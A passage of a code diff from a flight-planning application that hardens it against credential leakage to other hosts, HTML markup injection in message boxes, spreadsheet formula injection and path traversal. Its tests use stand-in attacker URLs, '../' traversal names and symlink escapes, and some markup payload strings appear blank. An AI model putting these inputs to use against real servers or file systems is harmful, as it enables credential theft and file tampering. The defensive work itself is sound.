Bugfix! - base_url = base_url.replace(", staging1", "") # geo.beopen.eu bugfix complete_url = urllib.parse.urlunparse((str(""), str(""), str(base_url), str(""), data, str(""))) if return_only_url: @@ -212,8 +207,8 @@ def getmap(self, layers=None, styles=None, srs=None, bbox=None, # not considered. For some reason, the check below doesn't work, though.. proxies = config_loader(dataset="proxies") - u = ogcwms.openURL(base_url, data, method, - username=self.auth.username, password=self.auth.password, proxies=proxies) + username, password = self.getmap_credentials(base_url) + u = ogcwms.openURL(base_url, data, method, username=username, password=password, proxies=proxies) # check for service exceptions, and return # NOTE: There is little bug in owslib.util.openURL -- if the file @@ -236,19 +231,96 @@ def get_redirect_url(self, method="Get"): # return self.getOperationByName("GetMap").methods[method]["url"] return self.getOperationByName("GetMap").methods[0]["url"] + def getmap_credentials(self, getmap_url): + """ + (username, password) to send with GetMap requests to getmap_url, (None, None) if it is another server + + The login was given for the server of the capabilities, self.url. The GetMap URL is taken from the + capabilities, so the server can name any host there, also with http instead of https. + """ + if same_origin(getmap_url, self.url): + return self.auth.username, self.auth.password + if (self.auth.username or self.auth.password) and (self.url, getmap_url) not in _withheld_logins_logged: + # once per session, not for every map request + _withheld_logins_logged.add((self.url, getmap_url)) + logging.warning("The login for '%s' is not sent with GetMap requests to '%s', another scheme, host or port", + self.url, getmap_url) + return None, None + + +def getmap_request_url(getmap_url): + """ + (URL, query parameters) of the GetMap requests to getmap_url, the GetMap URL of the capabilities + + The URL is getmap_url without its query, with the fixes for some servers. GetMap requests go to it, and the + login and the warnings are decided on it. + """ + # normalise the URL so it contains no request and no parameters + (scheme, netloc, path, params, query, fragment) = urllib.parse.urlparse(getmap_url) + url = urllib.parse.urlunparse((scheme, netloc, path, params, "", fragment)) + url = url.replace("ogctest.iblsoft", "ogcie.iblsoft") # IBL Bugfix! + url = url.replace("ogcie/obs", "ogcie.iblsoft.com/obs") # IBL Bugfix! + url = url.replace(", staging1", "") # geo.beopen.eu bugfix + return url, dict(urllib.parse.parse_qsl(query)) + + +# (WMS URL, GetMap URL) of the warnings already shown, each is shown once per session +_getmap_url_warnings_shown = set() +# (WMS URL, GetMap URL) of the logins not sent with GetMap requests that were already logged +_withheld_logins_logged = set() + + +def getmap_url_warning(wms): + """ + Warning about the GetMap URL of the capabilities of wms, None if there is nothing to warn about + + Warns if the maps are requested with http while the capabilities came with https, and if the login for the + capabilities is not sent with the map requests because they go to another scheme, host or port. + """ + try: + getmap_url = wms.get_redirect_url() + except (KeyError, IndexError): + return None + if not (isinstance(wms.url, str) and isinstance(getmap_url, str)): + return None + try: + # the URL the map requests really go to, see MSUIWebMapService.getmap + getmap_url = getmap_request_url(getmap_url)[0] + downgrade = (urllib.parse.urlsplit(wms.url).scheme.lower() == "https" and + urllib.parse.urlsplit(getmap_url).scheme.lower() == "http") + except ValueError: + # e.g. an invalid IPv6 address, the map requests fail anyway + return None + login_withheld = bool(wms.auth.username or wms.auth.password) and not same_origin(getmap_url, wms.url) + if not (downgrade or login_withheld): + return None + text = f"The capabilities of the WMS\n\n{wms.url}\n\nname another address for the maps:\n\n{getmap_url}\n\n" + if downgrade: + text += "The maps are requested without encryption (http instead of https).\n" + if login_withheld: + text += ("Your login for the WMS is only sent to its own scheme, host and port, so it is not sent with the " + "map requests. If the WMS needs it for the maps, they fail with 'Unauthorized'.\n") + text += "\nThe operator of the WMS can correct the address in its capabilities." + return text + class MSS_WMS_AuthenticationDialog(QtWidgets.QDialog, ui_pw.Ui_WMSAuthenticationDialog): """Dialog to ask the user for username/password should this be required by a WMS server. """ - def __init__(self, parent=None): + def __init__(self, parent=None, url=None): """ Arguments: parent -- Qt widget that is parent to this widget. + url -- URL of the server that asks for the login, it is shown so the user knows where the password goes """ super().__init__(parent) self.setupUi(self) + if url is not None: + # the URL can come from a redirect of the server + self.lblMessage.setTextFormat(QtCore.Qt.PlainText) + self.lblMessage.setText(f"Web Map Service\n{url}") def getAuthInfo(self): """Return the entered username and password. @@ -438,6 +510,8 @@ def __init__(self, parent=None, default_WMS=None, wms_cache=None, view=None): """ super().__init__(parent) self.setupUi(self) + # shows the URL and the title of the layer, which come from the WMS server + self.lLayerName.setTextFormat(QtCore.Qt.PlainText) self.wms_cache = wms_cache self.service_manager = WMSServiceManager() @@ -822,6 +896,7 @@ def on_success(wms): self.activate_wms(wms, level=level) self.service_manager.cache_service(base_url, wms) self.cpdlg.close() + self.warn_about_getmap_url(wms) def on_failure(e): try: @@ -839,7 +914,7 @@ def on_failure(e): # the string "Error 401"... http_auth = config_loader(dataset="MSS_auth") auth_username, auth_password = get_auth_from_url_and_name(base_url, http_auth) - dlg = MSS_WMS_AuthenticationDialog(parent=self.multilayers) + dlg = MSS_WMS_AuthenticationDialog(parent=self.multilayers, url=base_url) dlg.setModal(True) dlg.leUsername.setText(auth_username) dlg.lePassword.setText(auth_password) @@ -873,14 +948,16 @@ def on_failure(e): "no layers can be used in this view.") QtWidgets.QMessageBox.critical( self.multilayers, self.tr("Web Map Service"), - self.tr(f"ERROR: We cannot load the capability document!\n\n{type(ex)}\n{ex}")) + plain_text_as_html( + self.tr(f"ERROR: We cannot load the capability document!\n\n{type(ex)}\n{ex}"))) self.cpdlg.close() except Exception as ex: logging.error("cannot load capabilities document.. " "no layers can be used in this view.") QtWidgets.QMessageBox.critical( self.multilayers, self.tr("Web Map Service"), - self.tr(f"ERROR: We cannot load the capability document!\n\n{type(ex)}\n{ex}")) + plain_text_as_html( + self.tr(f"ERROR: We cannot load the capability document!\n\n{type(ex)}\n{ex}"))) self.cpdlg.close() try: @@ -895,6 +972,35 @@ def on_failure(e): username=auth_username, password=auth_password), on_success, on_failure) + def confirm_redirect(self, entered_url, url): + """ + Asks whether the WMS of entered_url may be loaded from url, another server it redirected to + + A URL shortener redirects to another server by design, but so can a server that wants the login of its + users: msui asks for a login for the server it loads the capabilities from and stores it for that server. + """ + ret = QtWidgets.QMessageBox.question( + self.multilayers, self.tr("Web Map Service"), + plain_text_as_html( + f"The address\n\n{entered_url}\n\nredirects to another server:\n\n{url}\n\n" + "Load the Web Map Service from there? If it asks for a login, the login is sent to that server."), + QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + return ret == QtWidgets.QMessageBox.Yes + + def warn_about_getmap_url(self, wms): + """ + Shows the warning of getmap_url_warning, once per session for each WMS and GetMap URL + """ + text = getmap_url_warning(wms) + if text is None: + return + shown = (wms.url, wms.get_redirect_url()) + if shown in _getmap_url_warnings_shown: + return + _getmap_url_warnings_shown.add(shown) + logging.warning(text) + QtWidgets.QMessageBox.warning(self.multilayers, self.tr("Web Map Service"), plain_text_as_html(text)) + def wms_url_changed(self, text): wms = self.service_manager.get_service(text) if wms is not None: @@ -905,7 +1011,7 @@ def display_exception(self, ex): logging.error("ERROR: %s %s", type(ex), ex) logging.debug("%s", traceback.format_exc()) QtWidgets.QMessageBox.critical( - self, self.tr("Web Map Service"), self.tr(f"ERROR:\n{type(ex)}\n{ex}")) + self, self.tr("Web Map Service"), plain_text_as_html(self.tr(f"ERROR:\n{type(ex)}\n{ex}"))) @QtCore.pyqtSlot() def display_progress_dialog(self): @@ -990,6 +1096,9 @@ def on_success(request): self.cpdlg.setValue(5) # url shortener url translated, service specific parameters are kept url = strip_request_params(request.url) + if not same_origin(url, base_url) and not self.confirm_redirect(base_url, url): + self.cpdlg.close() + return logging.debug("requesting capabilities from %s", url) self.initialise_wms(url, None, level=level) @@ -1003,7 +1112,8 @@ def on_failure(e): try: QtWidgets.QMessageBox.critical( self.multilayers, self.tr("Web Map Service"), - self.tr(f"ERROR: We cannot load the capability document!\n\\n{type(ex)}\n{ex}")) + plain_text_as_html( + self.tr(f"ERROR: We cannot load the capability document!\n\n{type(ex)}\n{ex}"))) except RuntimeError: logging.debug("WMS control widget was deleted before on_failure could show dialog") finally: @@ -1174,7 +1284,7 @@ def populate_ui(self, update_level=None): tooltip_text = "" for active_layer in active_layers if layer.checkState(0) else [layer]: tooltip_text += f"{active_layer}\n" - self.lLayerName.setToolTip(tooltip_text.strip()) + self.lLayerName.setToolTip(plain_text_as_html(tooltip_text.strip())) if len(active_layers) > 1 and layer.checkState(0): self.lLayerName.setText(self.lLayerName.text() + f" (and {len(active_layers) - 1} more)") @@ -1576,9 +1686,10 @@ def normalize_crs(crs): if self.check_for_allowed_crs and normalize_crs(crs) not in layer.allowed_crs: ret = QtWidgets.QMessageBox.warning( self, self.tr("Web Map Service"), - self.tr(f"WARNING: Selected CRS '{crs}' not contained in allowed list of supported CRS for this WMS\n" - f"({layer.allowed_crs})\n" - "Continue ?"), + plain_text_as_html(self.tr( + f"WARNING: Selected CRS '{crs}' not contained in allowed list of supported CRS for this WMS\n" + f"({layer.allowed_crs})\n" + "Continue ?")), QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.Ignore | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) if ret == QtWidgets.QMessageBox.Ignore: @@ -1716,7 +1827,7 @@ def clearCache(self): except (IOError, OSError) as ex: msg = f"ERROR: Cannot delete file '{f}'. ({type(ex)}: {ex})" logging.error(msg) - QtWidgets.QMessageBox.critical(self, self.tr("Web Map Service"), self.tr(msg)) + QtWidgets.QMessageBox.critical(self, self.tr("Web Map Service"), plain_text_as_html(self.tr(msg))) else: logging.debug("cache has been cleared.") else: @@ -1757,7 +1868,7 @@ def service_cache(self): except (IOError, OSError) as ex: msg = f"ERROR: Cannot delete file '{f}'. ({type(ex)}: {ex})" logging.error(msg) - QtWidgets.QMessageBox.critical(self, self.tr("Web Map Service"), self.tr(msg)) + QtWidgets.QMessageBox.critical(self, self.tr("Web Map Service"), plain_text_as_html(self.tr(msg))) logging.debug("cache has been cleaned (%i files removed).", removed_files) def squash_multiple_images(self, imgs): diff --git a/mslib/plugins/io/csv.py b/mslib/plugins/io/csv.py index 598b3f5b5..5bcbf65b7 100644 --- a/mslib/plugins/io/csv.py +++ b/mslib/plugins/io/csv.py @@ -32,6 +32,27 @@ import mslib.msui.flighttrack as ft +# a cell that starts with one of these is a formula in spreadsheet programs, e.g. =HYPERLINK(...) +_FORMULA_STARTS = ("=", "+", "-", "@", "\t", "\r") + + +def _spreadsheet_text(text): + """ + text for a text cell: a "'" is put in front of text a spreadsheet program would run as a formula + + The names and comments of the flight track and its waypoints can be chosen by collaborators. Text that starts + with "'"s before a formula character gets one more, so _from_spreadsheet_text gives every text back as it was. + """ + text = str(text) + return "'" + text if text.lstrip("'").startswith(_FORMULA_STARTS) else text + + +def _from_spreadsheet_text(text): + """ + The text of a text cell written by _spreadsheet_text + """ + return text[1:] if text.startswith("'") and text.lstrip("'").startswith(_FORMULA_STARTS) else text + def save_to_csv(filename, name, waypoints): if not filename: @@ -39,18 +60,18 @@ def save_to_csv(filename, name, waypoints): path = Path(filename) with path.open("wb") as csvfile: csv_writer = csv.writer(csvfile, dialect='excel', delimiter=";", lineterminator="\n") - csv_writer.writerow([name]) + csv_writer.writerow([_spreadsheet_text(name)]) csv_writer.writerow(["Index", "Location", "Lat (+-90)", "Lon (+-180)", "Flightlevel", "Pressure (hPa)", "Leg dist. (km)", "Cum. dist. (km)", "Comments"]) for i, wp in enumerate(waypoints): - loc = str(wp.location) + loc = _spreadsheet_text(wp.location) lat = f"{wp.lat:.3f}" lon = f"{wp.lon:.3f}" lvl = f"{wp.flightlevel:.3f}" pre = f"{wp.pressure / 100.:.3f}" leg = f"{wp.distance_to_prev:.3f}" cum = f"{wp.distance_total:.3f}" - com = str(wp.comments) + com = _spreadsheet_text(wp.comments) csv_writer.writerow([i, loc, lat, lon, lvl, pre, leg, cum, com]) @@ -62,19 +83,21 @@ def load_from_csv(filename): if len(lines) < 4: raise SyntaxError("CSV file requires at least 4 lines!") dialect = csv.Sniffer().sniff(lines[-1].decode("utf-8")) + # save_to_csv quotes like Excel, a quote in a text is doubled; the last line may have no quote to tell + dialect.doublequote = True csv_reader = csv.reader(lines, encoding="utf-8", dialect=dialect) name = next(csv_reader)[0] next(csv_reader) # header for row in csv_reader: wp = ft.Waypoint() - wp.location = row[1] + wp.location = _from_spreadsheet_text(row[1]) wp.lat = float(row[2]) wp.lon = float(row[3]) wp.flightlevel = float(row[4]) wp.pressure = float(row[5]) * 100. wp.distance_to_prev = float(row[6]) wp.distance_total = float(row[7]) - wp.comments = row[8] + wp.comments = _from_spreadsheet_text(row[8]) waypoints.append(wp) name = os.path.basename(filename.replace(".csv", "").strip()) return name, waypoints diff --git a/mslib/plugins/io/kml.py b/mslib/plugins/io/kml.py index 8f90222e5..99776229c 100644 --- a/mslib/plugins/io/kml.py +++ b/mslib/plugins/io/kml.py @@ -26,11 +26,25 @@ """ import codecs +import re +from xml.sax.saxutils import escape + +# characters XML 1.0 doesn't allow, e.g. most control characters; a file with them can't be read +_NOT_XML_CHARACTERS = re.compile("[^\x09\x0a\x0d\x20-\ud7ff\ue000-\ufffd\U00010000-\U0010ffff]") + + +def _xml_text(text): + """ + text as the text of an XML element: without characters XML doesn't allow, markup escaped + """ + return escape(_NOT_XML_CHARACTERS.sub("", str(text))) def save_to_kml(filename, name, waypoints): if not filename: raise ValueError("filename to save flight track cannot be None") + # names of the flight track and its waypoints can be chosen by collaborators, markup in them must stay text + name = _xml_text(name) header = f""" @@ -73,5 +87,5 @@ def save_to_kml(filename, name, waypoints): lon = wp.lon lvl = wp.flightlevel alt = lvl * 100 * 0.3048 - out_file.write(waypoint.format(name=str(name), lon=lon, lat=lat, alt=alt)) + out_file.write(waypoint.format(name=_xml_text(name), lon=lon, lat=lat, alt=alt)) out_file.write(footer) diff --git a/mslib/utils/airdata.py b/mslib/utils/airdata.py index 5163eb693..b40a0ed64 100644 --- a/mslib/utils/airdata.py +++ b/mslib/utils/airdata.py @@ -37,6 +37,7 @@ import defusedxml.ElementTree as etree from mslib.utils.constants import MSUI_CONFIG_PATH +from mslib.utils.qt import plain_text_as_html AIPDIR = Path(MSUI_CONFIG_PATH) / "downloads" / "aip" AIPDIR.mkdir(parents=True, exist_ok=True) @@ -89,7 +90,8 @@ def download_progress(file_path, url, progress_callback=lambda f: logging.info(" progress_callback(dl / 1024) except requests.exceptions.RequestException: os.remove(file_path) - QtWidgets.QMessageBox.information(None, "Download failed", f"{url} was unreachable, please try again later.") + QtWidgets.QMessageBox.information(None, "Download failed", + plain_text_as_html(f"{url} was unreachable, please try again later.")) def get_airports(force_download=False, url=None): @@ -112,11 +114,11 @@ def get_airports(force_download=False, url=None): is_outdated = (file_exists and (time.time() - os.path.getmtime(str(Path(AIPDIR / "airports.csv")))) > time_outdated) + question = (f"You selected airports to be {'drawn' if not force_download else 'downloaded (~10 MB)'}." + + ("" if force_download else "\nThe airports file first needs to be downloaded or updated (~10 MB).") + + "\nIs now a good time?") if (force_download or is_outdated or not file_exists) \ - and QtWidgets.QMessageBox.question(None, "Allow download", f"You selected airports to be " - f"{'drawn' if not force_download else 'downloaded (~10 MB)'}." + - ("\nThe airports file first needs to be downloaded or updated (~10 MB)." - if not force_download else "") + "\nIs now a good time?", + and QtWidgets.QMessageBox.question(None, "Allow download", plain_text_as_html(question), QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.Yes) \ == QtWidgets.QMessageBox.Yes: @@ -180,8 +182,8 @@ def update_airspace(force_download=False, countries=None): if (force_download or is_outdated or not file_exists) \ and QtWidgets.QMessageBox.question( None, "Allow download", - f"The selected {country} airspace needs to be downloaded " - f"({humanfriendly.format_size(int(data[-1]))})\nIs now a good time?", + plain_text_as_html(f"The selected {country} airspace needs to be downloaded " + f"({humanfriendly.format_size(int(data[-1]))})\nIs now a good time?"), QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.Yes) \ == QtWidgets.QMessageBox.Yes: @@ -261,6 +263,6 @@ def get_airspaces(countries=None): _airspaces.append(airspace_data) _airspaces_mtime[file] = os.path.getmtime(os.path.join(AIPDIR, file)) else: - QtWidgets.QMessageBox.information(None, "No Airspaces data in file:", f"{file}") + QtWidgets.QMessageBox.information(None, "No Airspaces data in file:", plain_text_as_html(f"{file}")) return _airspaces diff --git a/mslib/utils/auth.py b/mslib/utils/auth.py index d8cc97541..7ffaadb83 100644 --- a/mslib/utils/auth.py +++ b/mslib/utils/auth.py @@ -31,6 +31,7 @@ """ import logging +from urllib.parse import urlsplit import keyring from flask import current_app @@ -116,6 +117,24 @@ def get_auth_from_url_and_name(server_url, http_auth, overwrite_login_cache=True return auth +def same_origin(url, base_url): + """ + True if url has the scheme, host and port of base_url + + A password or token given for base_url may only be sent to url when this is True. + """ + default_ports = {"http": 80, "https": 443} + if not (isinstance(url, str) and isinstance(base_url, str)): + return False + try: + a, b = urlsplit(url), urlsplit(base_url) + return (a.hostname is not None and a.scheme.lower() == b.scheme.lower() and a.hostname == b.hostname and + (a.port or default_ports.get(a.scheme.lower())) == (b.port or default_ports.get(b.scheme.lower()))) + except ValueError: + # e.g. an invalid port + return False + + def send_email(to, subject, template): if current_app.config['MAIL_DEFAULT_SENDER'] is not None: msg = Message( diff --git a/mslib/utils/qt.py b/mslib/utils/qt.py index b07a0aa56..e60065a87 100644 --- a/mslib/utils/qt.py +++ b/mslib/utils/qt.py @@ -166,21 +166,21 @@ def excepthook(type_, value, traceback_): if type_ is mslib.utils.FatalUserError: QtWidgets.QMessageBox.critical( None, "fatal error", - f"Fatal user error in MSS {mslib.__version__} on {platform.platform()}\n" - f"Python {sys.version}\n" - f"\n" - f"{value}") + plain_text_as_html(f"Fatal user error in MSS {mslib.__version__} on {platform.platform()}\n" + f"Python {sys.version}\n" + f"\n" + f"{value}")) else: QtWidgets.QMessageBox.critical( None, "fatal error", - f"Fatal error in MSS {mslib.__version__} on {platform.platform()}\n" - f"Python {sys.version}\n" - f"\n" - f"Please report bugs in MSS to https://github.com/Open-MSS/MSS\n" - f"\n" - f"Information about the fatal error:\n" - f"\n" - f"{tb}") + plain_text_as_html(f"Fatal error in MSS {mslib.__version__} on {platform.platform()}\n" + f"Python {sys.version}\n" + f"\n" + f"Please report bugs in MSS to https://github.com/Open-MSS/MSS\n" + f"\n" + f"Information about the fatal error:\n" + f"\n" + f"{tb}")) def figure_to_clipboard(figure): @@ -234,16 +234,45 @@ def cell_text(row, column): QtWidgets.QApplication.clipboard().setText(buf.getvalue()) +def plain_text_as_html(text): + """ + text for a tooltip or a static QMessageBox function, so that it is shown as it is, markup included + + Tooltips and message boxes guess with Qt.mightBeRichText whether a text is rich text. A text of a server or of + another user, e.g. a WMS title, abstract or error message, or an exception message, that looks like markup is + rendered and its resources are loaded, e.g. , which Windows fetches from an SMB + share without any click. Such text is converted to rich text that shows it literally: line breaks are kept, + runs of spaces are shown as one and the text wraps. Text that doesn't look like markup is shown as plain text + anyway and is returned as it is. + + Every message box of msui with a text that is not a constant uses this, plain_text_message_box or show_popup; + tests/_test_utils/test_qt.py checks that. + """ + text = str(text) + if not QtCore.Qt.mightBeRichText(text): + return text + return QtCore.Qt.convertFromPlainText(text, QtCore.Qt.WhiteSpaceNormal) + + +def plain_text_message_box(icon, title, text, buttons, parent): + """ + A QMessageBox that shows text as plain text, for a message box that has to be built, e.g. for its default button + """ + box = QtWidgets.QMessageBox(icon, title, str(text), buttons, parent) + box.setTextFormat(QtCore.Qt.PlainText) + return box + + def show_popup(parent, title, message, icon=0): """ title: Title of message box - message: Display Message + message: Display Message, shown as plain text, it often comes from a server icon: 0 = Error Icon, 1 = Information Icon """ if icon == 0: - QtWidgets.QMessageBox.critical(parent, title, message) + QtWidgets.QMessageBox.critical(parent, title, plain_text_as_html(message)) elif icon == 1: - QtWidgets.QMessageBox.information(parent, title, message) + QtWidgets.QMessageBox.information(parent, title, plain_text_as_html(message)) # TableView drag and drop diff --git a/tests/_test_msui/test_mscolab.py b/tests/_test_msui/test_mscolab.py index dec72574f..529bde738 100644 --- a/tests/_test_msui/test_mscolab.py +++ b/tests/_test_msui/test_mscolab.py @@ -49,6 +49,17 @@ from mslib.mscolab.seed import add_user, get_user, add_operation, add_user_to_operation +@pytest.mark.parametrize("name, directory", [ + ("europe", "europe"), ("normal-name_1", "normal-name_1"), ("Ann Smith", "Ann Smith"), + ("team/a", "team_a"), ("a\\b", "a_b"), ("x:y", "x_y"), ('a*b?c"df|g', "a_b_c_d_e_f_g"), ("a\x00b", "a_b"), + ("..", "__"), (".", "_"), ("", "_"), ("...", "___"), (".. ", "___"), ("name.", "name_"), ("name ", "name_"), + ("con", "con_"), ("CON.txt", "CON.txt_"), ("lpt1", "lpt1_"), ("console", "console"), +]) +def test_safe_dir_name(name, directory): + # names of the MSColab server as a single directory name on Windows, macOS and Linux + assert mscolab._safe_dir_name(name) == directory + + class Test_Mscolab_connect_window: @pytest.fixture(autouse=True) def setup(self, qtbot, mscolab_server_app, mscolab_server): @@ -674,6 +685,48 @@ def test_work_locally_toggle(self, qtbot): wpdata_server = self.window.mscolab.waypoints_model.waypoint_data(0) assert wpdata_local.lat != wpdata_server.lat + @pytest.mark.parametrize("operation_name, directory", [ + ("..", "__"), ("../../outside", ".._.._outside"), ("absolute", None), ("a\\b:c", "a_b_c"), ("con", "con_")]) + def test_work_locally_stays_in_data_dir(self, qtbot, operation_name, directory): + # the operation name comes from the server, a malicious one must not choose where msui writes + if operation_name == "absolute": + # not in the parameters, pytest-xdist needs the same test ids in every worker + operation_name = str(Path(ROOT_DIR) / "outside") + directory = operation_name.replace("/", "_").replace("\\", "_").replace(":", "_") + self._connect_to_mscolab(qtbot) + modify_config_file({"MSS_auth": {self.url: self.userdata[0]}}) + self._login(qtbot, emailid=self.userdata[0], password=self.userdata[2]) + self._activate_operation_at_index(0) + local_data_dir = Path(self.window.mscolab.data_dir) / "local_colabdata" + files_before = {path for path in Path(ROOT_DIR).rglob("mscolab_operation.ftml") + if not path.is_relative_to(local_data_dir)} + self.window.mscolab.active_operation_name = operation_name + self.window.workLocallyCheckbox.setChecked(True) + # unsafe characters are replaced, the local copy stays in the data directory + assert self.window.workLocallyCheckbox.isChecked() + assert Path(self.window.mscolab.local_ftml_file) == ( + local_data_dir / self.userdata[1] / directory / "mscolab_operation.ftml") + assert Path(self.window.mscolab.local_ftml_file).is_file() + assert {path for path in Path(ROOT_DIR).rglob("mscolab_operation.ftml") + if not path.is_relative_to(local_data_dir)} == files_before + + @pytest.mark.skipif(sys.platform.startswith("win"), reason="symbolic links need privileges on Windows") + def test_work_locally_refuses_dir_outside_data_dir(self, qtbot, tmp_path): + # e.g. a symbolic link in the data directory, the containment check catches it + self._connect_to_mscolab(qtbot) + modify_config_file({"MSS_auth": {self.url: self.userdata[0]}}) + self._login(qtbot, emailid=self.userdata[0], password=self.userdata[2]) + self._activate_operation_at_index(0) + user_dir = Path(self.window.mscolab.data_dir) / "local_colabdata" / self.userdata[1] + user_dir.mkdir(parents=True, exist_ok=True) + (user_dir / self.window.mscolab.active_operation_name).symlink_to(tmp_path, target_is_directory=True) + with mock.patch("PyQt5.QtWidgets.QMessageBox.critical") as critical: + self.window.workLocallyCheckbox.setChecked(True) + critical.assert_called_once() + assert not self.window.workLocallyCheckbox.isChecked() + assert self.window.mscolab.local_ftml_file is None + assert list(tmp_path.iterdir()) == [] + @mock.patch("mslib.msui.mscolab.get_open_filename", return_value=os.path.join(sample_path, u"example.ftml")) def test_browse_add_operation(self, mockopen, qtbot): self._connect_to_mscolab(qtbot) diff --git a/tests/_test_msui/test_msui.py b/tests/_test_msui/test_msui.py index 4f9051733..b3f25d9b7 100644 --- a/tests/_test_msui/test_msui.py +++ b/tests/_test_msui/test_msui.py @@ -33,8 +33,9 @@ import pytest from pathlib import Path from urllib.request import urlopen -from PyQt5 import QtWidgets, QtTest +from PyQt5 import QtCore, QtWidgets, QtTest from mslib import __version__ +from tests.utils import shown_text from tests.constants import ROOT_DIR, MSUI_CONFIG_PATH, MSUI_CONFIG_FILE_PATH from mslib.msui import msui from mslib.msui import msui_mainwindow as msui_mw @@ -184,6 +185,39 @@ def test_shortcuts_present(self): break assert self.shortcuts.treeWidget.topLevelItemCount() == 2 + def test_tooltips_show_widget_texts_as_text(self): + # texts of labels can come from a server, e.g. the title of a WMS layer, and are shown as plain text there + markup = '' + label = QtWidgets.QLabel(self.main_window) + label.setObjectName("markupLabel") + label.setTextFormat(QtCore.Qt.PlainText) + label.setText(f"Title {markup}") + label.setToolTip(f"bold {markup}") + self.shortcuts.cbNoShortcut.setCheckState(True) + self.shortcuts.fill_list() + items = [header.child(i) for header in (self.shortcuts.treeWidget.topLevelItem(j) + for j in range(self.shortcuts.treeWidget.topLevelItemCount())) + for i in range(header.childCount())] + item = next(item for item in items if item.source_object is label) + lines = [" ".join(line.split()) for line in shown_text(item.toolTip(0)).splitlines()] + # the tooltip of the label is rich text, its markup is not shown; the label shows its text as plain text + assert lines[:2] == ["ToolTip: bold", f"Text: Title {markup}"] + + @pytest.mark.parametrize("text", ["T<300K> mean", "R&D", "Press to plot"]) + def test_tooltips_keep_plain_texts(self, text): + # texts Qt shows as plain text are shown as they are, also in a widget with automatic text format + label = QtWidgets.QLabel(self.main_window) + label.setObjectName("plainLabel") + label.setText(text) + label.setToolTip(text) + self.shortcuts.cbNoShortcut.setCheckState(True) + self.shortcuts.fill_list() + items = [header.child(i) for header in (self.shortcuts.treeWidget.topLevelItem(j) + for j in range(self.shortcuts.treeWidget.topLevelItemCount())) + for i in range(header.childCount())] + item = next(item for item in items if item.source_object is label) + assert shown_text(item.toolTip(0)).splitlines()[:2] == [f"ToolTip: {text}", f"Text: {text}"] + # ToDo we need a test for reset_highlight when e.g. Transparent was selected and afterwards topview was destroyed diff --git a/tests/_test_msui/test_wms_capabilities.py b/tests/_test_msui/test_wms_capabilities.py index 6cbfb06e7..4dd05e9d7 100644 --- a/tests/_test_msui/test_wms_capabilities.py +++ b/tests/_test_msui/test_wms_capabilities.py @@ -66,3 +66,27 @@ def test_switch_view(self): self.start_window() QtTest.QTest.mouseClick(self.window.cbFullView, QtCore.Qt.LeftButton) QtTest.QTest.mouseClick(self.window.cbFullView, QtCore.Qt.LeftButton) + + def test_wms_strings_are_text(self): + # title, abstract and contact come from the WMS server, an in them must not be loaded + markup = 'link' + self.capabilities.identification.title = f"Title {markup}" + self.capabilities.identification.abstract = f"Abstract {markup}" + self.capabilities.identification.type = "OGC:WMS" + self.capabilities.identification.version = "1.3.0" + self.capabilities.identification.keywords = [markup] + self.capabilities.identification.accessconstraints = markup + self.capabilities.identification.fees = markup + self.capabilities.provider.contact.name = f"Name {markup}" + self.capabilities.provider.contact.email = "wms@example.org" + self.window = wc.WMSCapabilitiesBrowser(url=f"https://wms.example/{markup}", capabilities=self.capabilities) + text = self.window.txtCapabilities.toPlainText() + assert f"Title: Title {markup}" in text + assert f"Abstract {markup}" in text + assert f"Name {markup}" in text + assert "wms@example.org" in text + assert f"Fees: {markup}" in text + html = self.window.txtCapabilities.toHtml() + assert "") + tail = tail.replace('xlink:href="http://localhost/?"', f'xlink:href={quoteattr(getmap_url)}', 1) + return wc.MSUIWebMapService(url, version='1.1.1', xml=f"{head}{tail}", + username=username, password=password) + + @pytest.mark.parametrize("getmap_url, login_sent", [ + ("https://wms.example/wms?", True), + ("https://WMS.example:443/maps?", True), + ("http://wms.example/wms?", False), + ("https://wms.example:8443/wms?", False), + ("https://attacker.example/wms?", False), + ("https://wms.example@attacker.example/wms?", False), + ]) + def test_getmap_sends_login_only_to_the_server_of_the_capabilities(self, getmap_url, login_sent): + wms = self._wms("https://wms.example/wms", getmap_url, username="user", password="secret") + response = mock.Mock() + response.info.return_value = {"Content-Type": "image/png"} + with mock.patch("mslib.msui.wms_control.ogcwms.openURL", return_value=response) as open_url: + assert wms.getmap(layers=["ecmwf_EUR_LL015.PLTemp01"], styles=[""], srs="EPSG:4326", + bbox=(-180, -90, 180, 90), format="image/png", size=(200, 100)) is response + open_url.assert_called_once() + # the request goes to the GetMap URL of the capabilities, the login only if it is the same server + assert urllib.parse.urlsplit(open_url.call_args.args[0]).netloc == urllib.parse.urlsplit(getmap_url).netloc + credentials = (open_url.call_args.kwargs["username"], open_url.call_args.kwargs["password"]) + assert credentials == (("user", "secret") if login_sent else (None, None)) + + @pytest.mark.parametrize("url, getmap_url, login, warnings", [ + ("https://wms.example/wms", "https://wms.example/wms?", True, []), + ("http://wms.example/wms", "http://wms.example/wms?", True, []), + ("https://wms.example/wms", "https://other.example/wms?", False, []), + ("http://wms.example/wms", "https://wms.example/wms?", False, []), + ("https://wms.example/wms", "http://wms.example/wms?", False, ["without encryption"]), + ("https://wms.example/wms", "http://wms.example/wms?", True, ["without encryption", "not sent"]), + ("https://wms.example/wms", "https://other.example/wms?", True, ["not sent"]), + ("http://wms.example/wms", "https://wms.example/wms?", True, ["not sent"]), + (None, "http://wms.example/wms?", True, []), + ("https://wms.example/wms", "http://[invalid/wms?", True, []), + ]) + def test_getmap_url_warning(self, url, getmap_url, login, warnings): + wms = self._wms(url, getmap_url, *(("user", "secret") if login else ())) + text = wc.getmap_url_warning(wms) + if not warnings: + assert text is None + else: + # the URL the maps are really requested from + assert f"\n{url}\n" in text and f"\n{wc.getmap_request_url(getmap_url)[0]}\n" in text + for warning in ["without encryption", "not sent"]: + assert (warning in text) == (warning in warnings) + + def test_getmap_url_warning_is_shown_once_as_text(self, monkeypatch): + monkeypatch.setattr(wc, "_getmap_url_warnings_shown", set()) + getmap_url = 'http://wms.example/?' + wms = self._wms("https://wms.example/wms", getmap_url, "user", "secret") + with mock.patch("PyQt5.QtWidgets.QMessageBox.warning") as warning: + self.window.warn_about_getmap_url(wms) + self.window.warn_about_getmap_url(wms) + # the same WMS, no warning needed + self.window.warn_about_getmap_url(self._wms("https://wms.example/wms", 